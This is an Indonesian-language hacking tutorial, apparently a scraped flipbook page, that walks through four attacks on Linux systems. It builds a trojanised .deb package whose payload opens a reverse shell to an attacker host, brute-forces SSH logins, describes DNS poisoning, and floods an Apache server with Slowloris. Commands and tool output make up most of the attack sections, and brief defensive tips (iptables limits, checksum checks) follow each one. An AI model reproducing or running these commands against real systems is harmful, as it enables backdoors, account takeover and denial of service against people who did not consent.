15.01.2013 Views

Membuat Virus Linux - Kelemahan pada dpkg Install paket bukan ...

Membuat Virus Linux - Kelemahan pada dpkg Install paket bukan ...

Membuat Virus Linux - Kelemahan pada dpkg Install paket bukan ...

SHOW MORE
SHOW LESS

Transform your PDFs into Flipbooks and boost your revenue!

Leverage SEO-optimized Flipbooks, powerful backlinks, and multimedia content to professionally showcase your products and significantly increase your reach.

<strong>Membuat</strong> <strong>Virus</strong> <strong>Linux</strong><br />

- <strong>Kelemahan</strong> <strong>pada</strong> <strong>dpkg</strong><br />

<strong>Install</strong> <strong>paket</strong> <strong>bukan</strong> dari repositori, sehingga attacker bisa membuat dan<br />

modifikasi file .deb<br />

Sebagai contoh, modifikasi <strong>paket</strong> freesweep (Aplikasi Game <strong>pada</strong> Ubuntu)<br />

seeker@bt # apt-get –download-only install freesweep<br />

Perintah diatas hanya men-download pake freesweep tanpa diinstall kedalam<br />

sistem<br />

seeker@bt # mkdir /tmp/evil<br />

Perintah diatas membuat direktori untuk membuat file .deb yang akan<br />

dimodifikasi<br />

seeker@bt # mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb<br />

/tmp/evil<br />

seeker@bt # cd /tmp/evil/<br />

seeker@bt :/tmp/evil# <strong>dpkg</strong> -x freesweep_0.90-2_i386.deb work<br />

Perintah diatas akan mengekstrak <strong>paket</strong> freesweep<br />

seeker@bt :/tmp/evil # mkdir work/DEBIAN<br />

<strong>Membuat</strong> folder DEBIAN untuk menambah beberapa feature


seeker@bt :/tmp/evil/work/DEBIAN # vi control<br />

membuat file 'control' untuk membuat informasi <strong>paket</strong><br />

seeker@bt :/tmp/evil/work/DEBIAN# vi postinst<br />

Mmbuat file script postinst-installation yang akan di eksekusi.


seeker@bt # msfpayload linux/x86/shell/reserve_tcp LHOST=192.168.57.78<br />

LPORT=443 X > /tmp/evil/work/usr/games/freesweep<br />

<strong>Membuat</strong> malicious payload untuk digunakan sebagai reserve shell, sehingga<br />

attacker dapat back connect menggunakan freesweep<br />

seeker@bt :/tmp/evil/work/DEBIAN#chmod 755 postinst<br />

Agar scriptnya dapat dieksekusi<br />

seeker@bt :/tmp/evil/work/DEBIAN# <strong>dpkg</strong>-deb –build /tmp/evil/work<br />

Mem-build <strong>paket</strong> menjadi work.deb<br />

seeker@bt :/tmp/evil# mv work.deb freesweep.deb<br />

seeker@bt # msfcli exploit/multi/handler<br />

PAYLOAD=linux/x86/shell/reserver_tcp LHOST=192.168.57.78<br />

LPORT=443 E<br />

Attacker akan mencoba untuk menerima incoming connection<br />

victim@ubuntu: sudo <strong>dpkg</strong> -i freesweep.deb


Cara mencegahnya:<br />

– Pastikan mendownload dari repositori secara langsung<br />

– <strong>Install</strong> <strong>paket</strong> menggunakan apt-get / yum<br />

– Mengecek keaslian <strong>paket</strong> dengan md5sum<br />

Attacking Account SSH dengan teknik bruteforce<br />

Persiapan:<br />

<strong>Install</strong> bebapa <strong>paket</strong> pendukung<br />

user@ubuntu:~ sudo apt-get install python-crypto python-paramiko<br />

Download Tool SSH Bruteforce<br />

user@ubuntu:~ wget http://debianuser.org/bruteforce/brutessh.zip<br />

Scanning Port SSH<br />

user@ubuntu:~$ sudo nmap -sV 127.0.0.1<br />

Starting Nmap 5.21 ( http://nmap.org ) at 2012-09-11 01:43 WIT<br />

Nmap scan report for localhost (127.0.0.1)<br />

Host is up (0.000027s latency).<br />

Not shown: 992 closed ports


PORT STATE SERVICE VERSION<br />

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (protocol 2.0)<br />

80/tcp open http Apache httpd 2.2.22 ((Ubuntu))<br />

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)<br />

443/tcp open http Apache httpd 2.2.22 ((Ubuntu))<br />

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)<br />

631/tcp open ipp CUPS 1.5<br />

3128/tcp open http-proxy Squid webproxy 3.1.19<br />

3306/tcp open mysql MySQL 5.5.24-0ubuntu0.12.04.1<br />

Service Info: OS: <strong>Linux</strong><br />

Service detection performed. Please report any incorrect results at<br />

http://nmap.org/submit/ .<br />

Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds<br />

SSH Bruteforce:<br />

user@ubuntu:~ python brutessh.py -h 127.0.0.1 -u root -d passlist.txt<br />

Proteksi<br />

– Good Password<br />

– Change default port 22<br />

– Membatasi maksimal failed login (fail2ban, firewall)<br />

– Firewall:<br />

iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m<br />

recent --set --name SSH<br />

iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m<br />

recent --update --seconds 60 --hitcount 8 --rttl --name SSH -j<br />

LOG --log-prefix "SSH_brute_force "<br />

iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m<br />

recent --update --seconds 60 --hitcount 8 --rttl --name SSH -j<br />

DROP


DNS Poisoning<br />

DNS Poisoning termasuk jenis serangan Man In The Middle<br />

DNS Cache Poisoning merupakan sebuah cara untuk menembus pertahanan<br />

dengan cara menyampaikan informasi IP Address yang salah mengenai<br />

sebuah host, dengan tujuan untuk mengalihkan lalu lintas <strong>paket</strong> data dari<br />

tujuan yang sebenarnya. Cara ini banyak dipakai untuk menyerang situs-situs<br />

e-commerce dan banking yang saat ini bisa dilakukan dengan cara online<br />

dengan pengamanan Token. Teknik ini dapat membuat sebuah server palsu<br />

tampil identik dengan dengan server online banking yang asli. Oleh karena<br />

itu diperlukan digital cerficate untuk mengamankannya, agar server palsu<br />

tidak dapat menangkap data otentifikasi dari nasabah yang mengaksesnya.<br />

Jadi dapat disimpulkan cara kerja DNS (Domain Name System) poisoning ini<br />

adalah dengan mengacaukan DNS Server asli agar pengguna Internet<br />

terkelabui untuk mengakses web site palsu yang dibuat benar-benar<br />

menyerupai aslinya tersebut, agar data dapat masuk ke server palsu.<br />

Target dari DNS Poisoning<br />

– User yang memakai akses LAN/WLan (Layer 2), atau user yang<br />

terinfeksi virus/worm<br />

– Owned Domain Manager<br />

– Owned Root<br />

HTTPD DoS / DdoS dengan Slowloris<br />

Slowloris adalah sebuah tool DoS/DDoS yanng dibuat dengan menggunakan<br />

perl. Slowloris ditemukan oleh RSnake. Tool ini hanya memakai sedikit<br />

bandwidth dari attacker.<br />

Beberapa tipe WebServer yang rentan terhadap serangan ini:<br />

• Apache 1.x<br />

• Apache 2.x<br />

• dhttpd<br />

• GoAhead WebServer<br />

• WebSense "block pages" (unconfirmed)


• Trapeze Wireless Web Portal (unconfirmed)<br />

• Verizon's MI424-WR FIOS Cable modem (unconfirmed)<br />

• Verizon's Motorola Set-Top Box (port 8082 and requires auth -<br />

unconfirmed)<br />

• BeeWare WAF (unconfirmed)<br />

• Deny All WAF (unconfirmed)<br />

Sedangkan beberapa tipe WebServer yang tidak akan kena dari serangan ini:<br />

• IIS6.0<br />

• IIS7.0<br />

• lighttpd<br />

• Squid<br />

• nginx<br />

• Cherokee<br />

• Netscaler<br />

• Cisco CSS<br />

Tool Slowloris membutuh program Perl interpreter dengan modul seperti<br />

IO:Socket::INET, IO::Socket::SSL dan GetOpt::Long. Untuk menginstall<br />

modul tersebut bisa menggunakan CPAN:<br />

perl -MCPAN -e 'install IO::Socket::INET'<br />

perl -MCPAN -e 'install IO::Socket::SSL'<br />

Persiapan:<br />

Download tool Slowloris<br />

user@ubuntu:~$ wget http://ha.ckers.org/slowloris/slowloris.pl<br />

Scanning untuk mendapatkan jenis web server dan port-nya<br />

user@ubuntu:~$ sudo nmap -sV 127.0.0.1<br />

Starting Nmap 5.21 ( http://nmap.org ) at 2012-09-11 01:43 WIT<br />

Nmap scan report for localhost (127.0.0.1)<br />

Host is up (0.000027s latency).<br />

Not shown: 992 closed ports


PORT STATE SERVICE VERSION<br />

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (protocol 2.0)<br />

80/tcp open http Apache httpd 2.2.22 ((Ubuntu))<br />

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)<br />

443/tcp open http Apache httpd 2.2.22 ((Ubuntu))<br />

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)<br />

631/tcp open ipp CUPS 1.5<br />

3128/tcp open http-proxy Squid webproxy 3.1.19<br />

3306/tcp open mysql MySQL 5.5.24-0ubuntu0.12.04.1<br />

Service Info: OS: <strong>Linux</strong><br />

Service detection performed. Please report any incorrect results at<br />

http://nmap.org/submit/ .<br />

Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds<br />

Victim menggunakan jenis webserver Apache httpd dengan versi 2.2.22 dan<br />

port-nya 80.<br />

Scanning server apakah mempunyai vulnerability terhadap serangan ini:<br />

user@ubuntu:~$ perl slowloris.pl -dns [domain.com / IP target] -port 80 -test<br />

user@ubuntu:~$ sudo perl slowloris.pl -dns 127.0.0.1 -port 80 -test<br />

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP<br />

client<br />

Defaulting to a 5 second tcp connection timeout.<br />

Multithreading enabled.<br />

This test could take up to 14.3666666666667 minutes.<br />

Connection successful, now comes the waiting game...<br />

Trying a 2 second delay:<br />

Worked.<br />

Trying a 30 second delay:<br />

Worked.<br />

Trying a 90 second delay:<br />

Worked.<br />

Trying a 240 second delay:


Failed.<br />

Trying a 500 second delay:<br />

Worked.<br />

Remote server closed socket.<br />

Use 240 seconds for -timeout.<br />

Setelah mengetahui limit timeout dari situs victim, attacker akan langsung<br />

menyerangnya, yaitu dengan mengirim <strong>paket</strong> flood secara random<br />

user@ubuntu:~$ perl slowloris.pl -dns [target] -port 80 -timeout 500 -num<br />

500 -tcpto 5 -httpready<br />

keterangan :<br />

• -dns : the target ( dapat berupa IP atau domain )<br />

• -port : port yg di gunakan oleh webserver ( 80 )<br />

• -timeout: nilai waktu delay timeout untuk setiap <strong>paket</strong> thread, penantian<br />

reacquiring ruang tcp di server. <strong>pada</strong> langkah pengetesan, Nilai ini diisi<br />

dengan flag -test<br />

• -num : jumlah soket yang digunakan untuk mendapatkan<br />

koneksi.Biasanya server apache akan membutuhkan nilai antara 400-<br />

600 atau tergantung <strong>pada</strong> konfigurasi<br />

• -tcpto : TCP Timeout.<br />

• -httpready: HTTPReady di gunakan apache untuk buffer connections.<br />

attacker dapat melewati perlindungan ini dengan mengirimkan<br />

permintaan POST <strong>bukan</strong> GET atau HEAD.<br />

user@ubuntu:~$ sudo perl slowloris.pl -dns 127.0.0.1 -port 80 -timeout 240<br />

-num 500 -tcpto 5 -httpready<br />

Cara mencegahnya:<br />

– Menggunakan LoadBalancing WebServer<br />

– Mengganti webserver yang rentan terhadap serangan Slowloris dengan<br />

webserver yang aman dari Slowloris<br />

– Setting Firewall/Iptables, agar membatasi koneksi limit <strong>pada</strong> port 80<br />

user@ubuntu:~$ sudo iptables -I INPUT -p tcp --dport 80 -m connlimit


--connlimit-above 20 --connlimit-mask 32 -j DROP

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!